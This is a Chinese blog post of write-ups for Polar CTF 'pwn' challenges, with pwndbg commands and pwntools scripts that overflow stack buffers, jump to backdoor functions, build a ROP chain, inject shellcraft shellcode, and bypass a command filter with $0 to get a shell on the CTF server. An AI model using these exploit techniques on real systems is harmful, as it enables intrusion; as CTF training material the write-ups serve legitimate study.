Polar CTF PWN 简单(1)(持续更新)

好长时间没有接触pwn了,这篇博客也是在草稿箱里待了很久但是一直没有更深入的编辑,从今天起就来完善一下

其实对于pwn来说,坚持是很困难的,致敬每一个坚持不懈的人!我其实也是从感到复杂懵懂生疏,到如今也是渐渐习惯熟练

在写题的时候一般用的工具是pwndbg,用命令gdb打开,还有的一些命令如下:

python 复制代码
gdb 文件名        #打开调试工具
b 函数名          #在某函数处下断点
r                 #运行程序到断点处
n                 #单步运行调试
stack 数字        #查看固定数字长度的栈区域
cyclic 数字       #生成随机数目的字符串以作为填充数据
cyclic -l 字符串  #定位栈溢出时覆盖返回地址的偏移量,即找到溢出多少字节能精准覆盖EIP/RIP
chmod +x 文件名   #使文件有执行权限,以运行调试。这其实有一套命令,但是一般用的是这个

sandbox:

先查看一下保护

有Canary保护,就不能利用栈溢出;NX保护,栈区域的某些操作无法执行

cat flag不行,放入ida,进入main函数,发现sh-,cat,flag都被过滤了。尝试tac flag,more等指令都不行

pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕) - Falling_Dusk - 博客园

了解用$0绕过,再cat flag即可

Creeper:

先查一下保护

64位,有NX保护,进入ida分析代码

发现当读取buf的值长度等于15时就会输出flag。但是要注意输入14个字符即可,因为回车键占一个

简单溢出:

先查看一下保护

NX保护,不能执行栈区域代码

进入ida

找到栈溢出。在fact函数里找到bin/sh,把函数的地址记下来

运行代码,查看偏移长度,用cyclic生成较大数量的字符串,n单步执行到输入

看到了rbp,下一个就是rip,那么就是0x38个字节长度(覆盖到rip)

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2130)
sys=0x400596
payload=b'a'*0x38+p64(sys)
io.sendline(payload)
io.interactive()

运行代码即可

system:

查看一下保护

有金丝雀保护,查看一下代码

典型的栈溢出,但是没发现bin/sh。system直接读取输入的内容,并没有过滤,直接输入命令就可以,先ls

发现有flag,但是cat flag没有输出。要提权,输入sh即可

Emm:

查一下保护,32位,有NX

进入ida分析,main函数的yes函数里面找到了栈溢出,有bin/sh,但这显然不是后门函数

在flag里找到了cat flag

可以利用这个来进行溢出,查看偏移长度

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2146)
sys=0x80484CB
payload=b'a'*92+p32(sys)
io.sendline(payload)
io.interactive()

运行即可

Choice:

查一下保护

有NX,进入ida,在Data里发现有三个read

而只有data3里读入的栈空间大于分配的缓冲区大小,这样符合栈溢出的要求。提醒的是进入data3之前要先输入3

找到system函数地址

计算偏移量

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2092)
sys=0x4007BD
Data3='3'
payload=b'a'*56+p64(sys)
io.sendline(Data3)
io.sendline(payload)
io.interactive()

运行即可

overload1:

查一下保护

进入ida,找到main函数,把一些数据转换一下

分析一下,先输入choice,如果等于y就会让输入v4,这是一个漏洞点,一直覆盖到choice1,如果choice1等于a,那么就返回bin/sh

计算偏移量,可以根据头部计算

v4数组长度270,再有两个choice即可

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2052)
v4='y'
payload=b'a'*0x110
v5='a'*2
io.sendline(v4)
io.sendline(payload)
io.sendline(v5)
io.interactive()

运行即可

x64:

先查看一下保护

没有任何保护,进入ida

找到栈溢出,但是发现system函数和bin/sh不在同一个里面,那么构造的时候就需要将两个地址加上去

并且这是64位的要和寄存器结合,根据执行顺序,要先执行pop rdi; ret,将弹出的bin/sh的地址写入rdi寄存器,执行retn,跳转到system函数的地址,system读取bin/sh作为参数

现在计算偏移

找到相应地址后,构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2105)
sys_addr=0x400560
bin_addr=0x601060
rdi_addr=0x00000000004007e3
payload=b'a'*136+p64(sys_addr)+p64(bin_addr)+p64(rdi_addr)
io.send(payload)
io.interactive()

运行即可

你是大佬还是菜鸡:

查看保护,有NX保护

进入ida,看到输入,dalao函数是输出了一串文字,而caiji函数是由栈溢出的。且如果是1和2就会执行caiji函数

caiji函数

找到bin/sh地址

找偏移量,可以把断点下在caiji函数

找到bin/sh函数的地址

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2062)
caiji='2'
sys_addr=0x4008B0
payload=b'a'*40+p64(sys_addr)
io.sendline(caiji)
io.sendline(payload)
io.interactive()

运行即可

Easy_ShellCode:

查看保护

没有保护,关键还有最后一行,有可执行的段,一般是bss段

放入ida,发现栈溢出,最后一行read函数

但是没有找到后门函数,需要我们构造shellcode,且上面函数的第7行可写入可读,跟进看地址

这是可以用来写shellcode的,需要知道一些写shellcode的一些规则和一些库,一般是shellcode.sh(),而且发送到机器需要转换为机器可读的机器码

https://docs.pwntools.com/en/stable/shellcraft.html

还要注意的是context(os='linux',arch='i386',log_level='debug')字段,这属于是配置,64位是必须要写的

找偏移

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2108)
context(os='linux',arch='i386',log_level='debug')
sys=0x804A080
shell=asm(shellcraft.sh())
payload=b'a'*108+p32(sys)
io.send(shell)
io.send(payload)
io.interactive()

小狗汪汪汪:

查看一下保护

32位,有NX保护,进入ida,看到输入函数

这个没有限制长度,通过调试来查看栈溢出位置

找到后门函数

发现在这个地址报错

计算长度

构造payload:

python 复制代码
from pwn import*
io = remote('1.95.36.136',2060)
sys=0x804859B
payload=b'a'*13+p32(sys)
io.sendline(payload)
io.interactive()

运行即可

play:

查看保护

没有保护,有可执行的段。进入ida,找到栈溢出,gets函数

依旧看到read,跟进有bss数据段,记住地址,用来构造shellcode

查找栈偏移

64位获得shellcode需要是shellcraft.amd64.sh(),且要主要context字段

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2076)
context(os='linux',arch='amd64',log_level='debug')
sys=0x6010A0
shell=asm(shellcraft.amd64.sh())
payload=b'a'*56+p64(sys)
io.sendline(shell)
io.sendline(payload)
io.interactive()

name4:

查看保护

有个Partial RELRO,核心目的是保护程序的全局偏移表(GOT),这在后面会用到。bss段、栈空间依旧可写

进入ida,找到main函数,跟进

第一个read函数在下面有限定输出,运行的时候通过输入回车绕过。第二个可以用来构造shellcode,gets函数典型的栈溢出

跟进第二个read函数找到地址

查找栈偏移,这个有点特殊,在gdb的调试过程中,如果我们给name0赋予回车,read函数仍会将回车键以0/a的形式读取,而不是空。需要我们在代码中,输入name0为空后,下断点以继续运行,要在代码中插入以下代码

python 复制代码
io=process("./2")
gdb.attach(io)

除了代码命令,还可以通过代码中定义的栈分配来获得

构造payload:

python 复制代码
from pwn import*
io=remote('1.95.36.136',2105)
context(os='linux',arch='i386',log_level='debug')
name=b'\x00'
sys=0x804A0E0
shell=asm(shellcraft.sh())
payload=b'a'*0x24+p32(sys)
io.send(name)
io.recvuntil(b"Enter your best friend name:")
io.send(shell)
io.recvuntil(b"give you stack overflow:")
io.sendline(payload)
io.interactive()

这段代码写的有点长。题目的输出比较长,需要另加说明要等到程序输出后再进行传。也可以用io.send(line)after。如

python 复制代码
io.sendlineafter(b"name:\n", b"\x00")

io.sendlineafter(b"name:\n", shell)

io.sendlineafter(b"overflow:\n", payload)

heap_Easy_Uaf:

查看保护

有NX、Canary保护。Cananry防范的是栈溢出

heap_Double_Free:

guess:

shellcode1:

相关推荐
第九序言T7 小时前
Python 数据处理进阶(十八)批量处理同结构文件:一个文件夹一次跑完
开发语言·python·自动化·pandas·数据处理
Java后端的Ai之路7 小时前
CAS并发控制-从CPU指令到企业级乐观锁
vue.js·人工智能·python·cas·乐观锁
qq_426003967 小时前
UI自动化高频次登录login限流解决方案
python·ui·自动化
Sakura_j_h_7 小时前
EasyEDA PCB 快速设计Skills
c++·python·github
ZhengEnCi8 小时前
Agent 架构怎么选:从单 Agent 到多 Agent 编排的选型决策指南
算法·架构
quantdash_cc8 小时前
如何验证历史行情的交易日期是否完整覆盖研究区间?
python·数据分析·pandas·量化交易·股票数据·quantdash
I Am a robert girl8 小时前
当智能体学会“串通”:从长程交互中读懂涌现式合谋
python·多智能体系统·多智能体协作·llm agent·涌现式合谋·对齐问题·激励机制设计
秋天的怀念_David8 小时前
第二十二夜 · 数字迷雾
java·程序人生·算法
Pniubi9 小时前
力扣283移动零(双指针法)
算法·leetcode·职场和发展
hhb_6189 小时前
大模型落地三重优化实战
人工智能·算法·机器学习